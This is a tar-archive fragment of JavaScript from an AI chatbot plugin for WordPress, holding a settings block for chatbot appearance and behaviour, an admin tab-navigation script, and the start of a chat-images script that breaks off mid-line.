type:'text',placeholder:'Add the HTML for a custom footer for the chatbot', value: custom_footer, onChange: updateMessage60, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chatbot Custom CSS Code: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set your own custom CSS code for the chatbot.' ) ), gcel( 'input', { type:'text',placeholder:'Add a custom CSS code for the chatbot', value: custom_css, onChange: updateMessage63, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chatbot Send Message Sound Effect: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select a sound effect to be played when a message is sent in the chatbot. To disable this feature, leave this settings field blank.' ) ), gcel( 'input', { type:'text',placeholder:'Set your Send Message sound effect URL', value: send_message_sound, onChange: updateMessage61, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chatbot Receive Message Sound Effect: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select a sound effect to be played when a message is received in the chatbot. To disable this feature, leave this settings field blank.' ) ), gcel( 'input', { type:'text',placeholder:'Set your Receive Message sound effect URL', value: receive_message_sound, onChange: updateMessage62, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chatbot Response Delay (ms): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set a number of milliseconds to set as a delay for the chatbot. You can also set an interval between two values (in ms), case in which, the chatbot will select a random number of milliseconds from that interval, at each response.' ) ), gcel( 'input', { type:'text',placeholder:'Set your Receive Message sound effect URL', value: response_delay, onChange: updateMessage64, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Show Download Chat Log Icon: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Show download chat log icon.' ) ), gcel( 'select', { value: show_dltxt, onChange: updateMessage41, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'hide'}, 'hide' ), gcel( 'option', { value: 'show'}, 'show' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Show Text-To-Speech Mute Icon: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Show Text-To-Speech Mute Icon.' ) ), gcel( 'select', { value: internet_access, onChange: updateMessage55, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'disabled'}, 'disabled' ), gcel( 'option', { value: 'enabled'}, 'enabled' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Enable Embeddings: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select if you want to enable Embeddings' ) ), gcel( 'select', { value: embeddings, onChange: updateMessage56, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'disabled'}, 'disabled' ), gcel( 'option', { value: 'enabled'}, 'enabled' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Show Text-To-Speech Mute Icon: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Show Text-To-Speech Mute Icon.' ) ), gcel( 'select', { value: show_mute, onChange: updateMessage54, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'hide'}, 'hide' ), gcel( 'option', { value: 'show'}, 'show' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Show Internet Access Icon: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Show Internet Access Icon.' ) ), gcel( 'select', { value: show_internet, onChange: updateMessage57, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'hide'}, 'hide' ), gcel( 'option', { value: 'show'}, 'show' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Show Clear Chat Log Icon: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Show clear chat log icon.' ) ), gcel( 'select', { value: show_clear, onChange: updateMessage42, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'hide'}, 'hide' ), gcel( 'option', { value: 'show'}, 'show' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Instant Chat Response: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the chat should have an instant response.' ) ), gcel( 'select', { value: instant_response, onChange: updateMessage7, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'false'}, 'false' ), gcel( 'option', { value: 'stream'}, 'stream' ), gcel( 'option', { value: 'true'}, 'true' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Preppend Chat With Text (Not Shown To Users): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Preppend the AI chat with this text, it will not be displayed to users. Using this settings field, you can teach the AI some info about your company, your requirements, give the AI some initial conditions and instructions. You can also use shortcodes in this field. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it\'s assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). Example of prompt to pretain the AI --- Article: "%%post_content%%" \n\n Discussion: \n\n' ) ), gcel( 'input', { type:'text',placeholder:'Preppend chat with this string (will not be shown to users)', value: chat_preppend_text, onChange: updateMessage8, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Preppend Each User Message With Text (Not Shown To Users): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Preppend each of the user messages with this text, it will not be displayed to users. Using this settings field, you can set a name to users in the conversation, like "Customer: ".' ) ), gcel( 'input', { type:'text',placeholder:'Preppend user message with this string (will not be shown to users)', value: user_message_preppend, onChange: updateMessage9, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Preppend Each AI Message With Text (Not Shown To Users): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Preppend each of the AI messages with this text, it will not be displayed to users. Using this settings field, you can set a name to the AI in the conversation, like "Support Assistant: ".' ) ), gcel( 'input', { type:'text',placeholder:'Preppend AI message with this string (will not be shown to users)', value: ai_message_preppend, onChange: updateMessage10, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Set The First Message Of The AI ChatBot:' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Sets The First Message Of The AI Chat Bot. This is displayed to users.' ) ), gcel( 'input', { type:'text',placeholder:'First message of the chatbot', value: ai_first_message, onChange: updateMessage11, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Mode: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the mode of the chat (images or text).' ) ), gcel( 'select', { value: chat_mode, onChange: updateMessage12, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'text'}, 'text' ), gcel( 'option', { value: 'images'}, 'images' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Daily Token Count for Logged In Users: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the daily token count for logged in users. Users who are not logged in will not be allowed to submit the form. To disable this feature, leave this field blank.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Daily token count for users', value: user_token_cap_per_day, onChange: updateMessage13, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Enable Persistent Chat: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select a unique ID for persistent conversations of users. You can create multiple persistent conversations using different IDs, added to different shortcodes.' ) ), gcel( 'input', { type:'text',placeholder:'Select the persistent conversation ID, which will be saved for each user', value: persistent, onChange: updateMessage14, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Templates (Semicolon Separated): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Add a semicolon (;) separated list of prompt templates from which the users will be able to select and submit one.' ) ), gcel( 'input', { type:'text',placeholder:'Template1;Template2;Template3', value: prompt_templates, onChange: updateMessage15, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Editable: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select wheather the prompt will be editable by users. This is useful when combined with prompt templates from above, when you don\'t want the users to edit the entered template.' ) ), gcel( 'select', { value: prompt_editable, onChange: updateMessage16, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'yes'}, 'yes' ), gcel( 'option', { value: 'no'}, 'no' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Form Input Placeholder: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the placeholder text of the chat input. The default is: Enter your chat message here.' ) ), gcel( 'input', { type:'text',placeholder:'Preppend chat with this string (will not be shown to users)', value: placeholder, onChange: updateMessage17, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Form Input Submit Button Text: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the text of the submit button. The default is: Submit' ) ), gcel( 'input', { type:'text', placeholder:'Submit', value: submit, onChange: updateMessage18, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Text For Prompt Templates Selection: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the text of the prompt selection placeholder. The default is: Please select a prompt' ) ), gcel( 'input', { type:'text', placeholder:'Please select a prompt', value: select_prompt, onChange: updateMessage46, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Compliance Text: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the compliance text for the chatbot' ) ), gcel( 'input', { type:'text', placeholder:'Compliance text', value: compliance, onChange: updateMessage36, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Show Chat In A Popup Window: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Do you want to show the chat in a popup window instead in the page?' ) ), gcel( 'select', { value: show_in_window, onChange: updateMessage19, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'off'}, 'off' ), gcel( 'option', { value: 'on'}, 'on' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chatbot Avatar: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the numeric ID of a Media Library item which will be set as the avatar of the chatbot AI.' ) ), gcel( 'input', { type:'text', placeholder:'', value: ai_avatar, onChange: updateMessage33, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'User Avatar: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the numeric ID of a Media Library item which will be set as the avatar of the user.' ) ), gcel( 'input', { type:'text', placeholder:'', value: user_avatar, onChange: updateMessage68, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chatbot Role: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the role of the AI chatbot. This is purely cosmetic, will only be displayed on the front end of the chatbot interface.' ) ), gcel( 'input', { type:'text', placeholder:'', value: ai_role, onChange: updateMessage34, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Window Location: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select where you want to display the popup window. This works only if you set the "Show Chat In A Popup Window" settings field to "on".' ) ), gcel( 'select', { value: window_location, onChange: updateMessage20, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'bottom-right'}, 'bottom-right' ), gcel( 'option', { value: 'bottom-left'}, 'bottom-left' ),gcel( 'option', { value: 'top-right'}, 'top-right' ), gcel( 'option', { value: 'top-left'}, 'top-left' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Font Size: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the font size of the chatbot form. Default is 1em' ) ), gcel( 'input', { type:'text', placeholder:'1em', value: font_size, onChange: updateMessage21, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Form Width: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the width of the chatbot form. For full width, you can set 100% (default value). You can also set values in pixels, like: 400px' ) ), gcel( 'input', { type:'text', placeholder:'100%', value: width, onChange: updateMessage32, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Form Height: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the height of the chatbot form. For full height, you can set auto (default value). You can also set values in pixels, like: 400px' ) ), gcel( 'input', { type:'text', placeholder:'auto', value: height, onChange: updateMessage22, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Form Min-Height: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the min-height of the chatbot form (when the form is resized, this is the minimum height it will be allowed to get. Default is 250px. You can set values in pixels, like: 400px' ) ), gcel( 'input', { type:'text', value: minheight, onChange: updateMessage24, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Bubble Width: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the width of the chatbot bubbles' ) ), gcel( 'select', { value: bubble_width, onChange: updateMessage65, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'full'}, 'full' ), gcel( 'option', { value: 'auto'}, 'auto' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Assistant Chat Bubble Alignment: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the alignment of the chatbot bubbles.' ) ), gcel( 'select', { value: bubble_alignment, onChange: updateMessage66, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'left'}, 'left' ), gcel( 'option', { value: 'right'}, 'right' ), gcel( 'option', { value: 'center'}, 'center' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'User Chat Bubble Alignment: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the alignment of the user bubbles.' ) ), gcel( 'select', { value: bubble_user_alignment, onChange: updateMessage67, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'left'}, 'left' ), gcel( 'option', { value: 'right'}, 'right' ), gcel( 'option', { value: 'center'}, 'center' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Form Background Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the background color of the chatbot form. Default is #ffffff' ) ), gcel( 'input', { type:'color', value: general_background, onChange: updateMessage35, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Input Background Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the background color of the chatbot input. Default is #f7f7f9' ) ), gcel( 'input', { type:'color', value: background, onChange: updateMessage23, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Form Min-Height: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the min-height of the chatbot form (when the form is resized, this is the minimum height it will be allowed to get. Default is 250px. You can set values in pixels, like: 400px' ) ), gcel( 'input', { type:'color', value: user_font_color, onChange: updateMessage25, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'User Baloon Background Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the font color of the user baloon chatbot form. Default is #0084ff' ) ), gcel( 'input', { type:'color', value: user_background_color, onChange: updateMessage26, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Font Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the font color of the AI chatbot form. Default is black' ) ), gcel( 'input', { type:'color', value: ai_font_color, onChange: updateMessage27, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Baloon Background Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the font color of the AI baloon chatbot form. Default is #f0f0f0' ) ), gcel( 'input', { type:'color', value: ai_background_color, onChange: updateMessage28, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Input Border Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the border color for the input field. Default is #e1e3e6' ) ), gcel( 'input', { type:'color', value: input_border_color, onChange: updateMessage29, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Input Text Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the text color for the input field. Default is #000000' ) ), gcel( 'input', { type:'color', value: input_text_color, onChange: updateMessage37, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Input Placeholder Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the placeholder color for the input field. Default is #333333' ) ), gcel( 'input', { type:'color', value: input_placeholder_color, onChange: updateMessage38, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Persona Name Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the persona name color for the input field. Default is #000000' ) ), gcel( 'input', { type:'color', value: persona_name_color, onChange: updateMessage39, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Persona Role Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the persona role color for the input field. Default is #000000' ) ), gcel( 'input', { type:'color', value: persona_role_color, onChange: updateMessage40, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Submit Button Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the color of the submit button. Default is #55a7e2' ) ), gcel( 'input', { type:'color', value: submit_color, onChange: updateMessage30, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Submit Button Text Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the text color of the submit button. Default is #55a7e2' ) ), gcel( 'input', { type:'color', value: submit_text_color, onChange: updateMessage31, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Voice Button Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the color of the voice button. Default is #55a7e2' ) ), gcel( 'input', { type:'color', value: voice_color, onChange: updateMessage50, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Voice Button Activated Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the color of the voice button when activated. Default is #55a7e2' ) ), gcel( 'input', { type:'color', value: voice_color_activated, onChange: updateMessage52, className: 'coderevolution_gutenberg_input' } ) ); }), save: (function( props ) { return null; }), } );����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/playground.js�������������������������������������������������������������������������������0000644�����������������00000010026�14757771437�0011002 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; jQuery(document).ready(function(){ (function($) { function aiGetStringAfterHash() { var hash = window.location.hash; if (hash.length > 0) { return hash.substring(1); } return ''; } var syncdone1 = sessionStorage.getItem("syncdone1"); var syncdone2 = sessionStorage.getItem("syncdone2"); var syncdone3 = sessionStorage.getItem("syncdone3"); var tabs = $('.nav-tab-wrapper a'); var tab1 = ''; var aiGetStringAfterHash = aiGetStringAfterHash(); if(aiGetStringAfterHash != '') { var pattern = /^tab-\d+$/; if(pattern.test(aiGetStringAfterHash) === true) { tab1 = aiGetStringAfterHash; } } if(tab1 == '') { tab1 = 'tab-1'; var activeTab = localStorage.getItem('active-tab') || tab1; } else { var activeTab = tab1; } $('.tab-content').hide(); $('#' + activeTab).show(); if( $('#' + activeTab).length ) { $('#' + activeTab).show(); } else { activeTab = 'tab-1'; $('#' + activeTab).show(); } if(window.location.search !== undefined && window.location.search.includes('page=aiomatic_admin_settings')) { if(activeTab == 'tab-15') { jQuery('#btnSubmit').hide(); } else { jQuery('#btnSubmit').show(); } } $('.nav-tab[href="#' + activeTab + '"]').addClass('aiomatic-nav-tab-active'); $('.aiomatic-nav-tab[href="#' + activeTab + '"]').addClass('aiomatic-nav-tab-active'); tabs.on('click', function(e) { e.preventDefault(); var link = $(this).attr('datahref'); if(link !== undefined && link !== null && link !== '') { window.location.href = link; return; } var tab = $(this).attr('href').substr(1); localStorage.setItem('active-tab', tab); $('.tab-content').hide(); if(window.location.search !== undefined && window.location.search.includes('page=aiomatic_admin_settings')) { if(tab == 'tab-15') { jQuery('#btnSubmit').hide(); } else { jQuery('#btnSubmit').show(); } } $('#' + tab).show(); tabs.removeClass('aiomatic-nav-tab-active'); $(this).addClass('aiomatic-nav-tab-active'); if($("#aiomatic_sync_files").is(":visible")) { if(syncdone1 === false || syncdone1 === null) { sessionStorage.setItem("syncdone1", true); $('.aiomatic_sync_files').click(); } } if($("#aiomatic_sync_batches").is(":visible")) { if(syncdone3 === false || syncdone3 === null) { sessionStorage.setItem("syncdone3", true); $('.aiomatic_sync_batches').click(); } } if($("#aiomatic_sync_finetunes").is(":visible")) { if(syncdone2 === false || syncdone2 === null) { sessionStorage.setItem("syncdone2", true); $('.aiomatic_sync_finetunes').click(); } } }); var hashFragment = window.location.hash; if(hashFragment !== '') { var xlink = jQuery('a[href="' + hashFragment + '"]'); if (xlink.length) { xlink.addClass('aiomatic-nav-tab-active'); } } })(jQuery); });����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/openai-chat-images-ajax.js������������������������������������������������������������������0000644�����������������00000041173�14757771437�0013201 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; jQuery(document).ready(function($) { $('.aiomatic-chat-holder').each(function( ) { var instance = $(this).attr("instance"); initChatbotAiomatic(instance); if(window["aiomatic_chat_image_ajax_object" + instance].autoload == '1') { $('#aiomatic-open-button' + instance).click(); } }); }); function aiomaticEscapeHtml(text) { var map = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }; return text.replace(/[&<>"']/g, function(m) { return map[m]; }); } function initChatbotAiomatic(instance) { var aiomatic_chat_image_ajax_object = window["aiomatic_chat_image_ajax_object" + instance]; jQuery(document).on('click', '#ai-export-txt' + instance, function (event) { event.preventDefault(); ai_chat_download(); }); jQuery(document).on('click', '#ai-clear-chat' + instance, function (event) { event.preventDefault(); jQuery('#aiomatic_chat_history' + instance).html(''); }); jQuery(document).on('click', '#aiimagechatsubmitbut' + instance, function (event) { event.preventDefault(); openaiimagechatfunct().catch(console.error); }); String.prototype.aitrim = function() { return this.replace(/^\s+|\s+$/g, ""); }; var input = document.getElementById("aiomatic_chat_input" + instance); input.addEventListener("keydown", function (e) { if (e.key === "Enter" && !e.shiftKey) { e.preventDefault(); openaiimagechatfunct().catch(console.error); return false; } }); function ai_chat_download() { if(aiomatic_chat_image_ajax_object.chat_download_format == 'txt') { var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); var text = x_input_text.replace(/<div class="ai-wrapper"><div class="ai-bubble ai-other">([\s\S]*?)<\/div><\/div>/g, "$1\n"); text = text.replace(/<div class="ai-wrapper"><div class="ai-bubble ai-mine">([\s\S]*?)<\/div><\/div>/g, "$1\n"); text = text.replace(/<div class="ai-avatar ai-mine"><\/div>/g, ""); text = text.replace(/<div class="ai-avatar ai-other"><\/div>/g, ""); text = text.replace(/<div 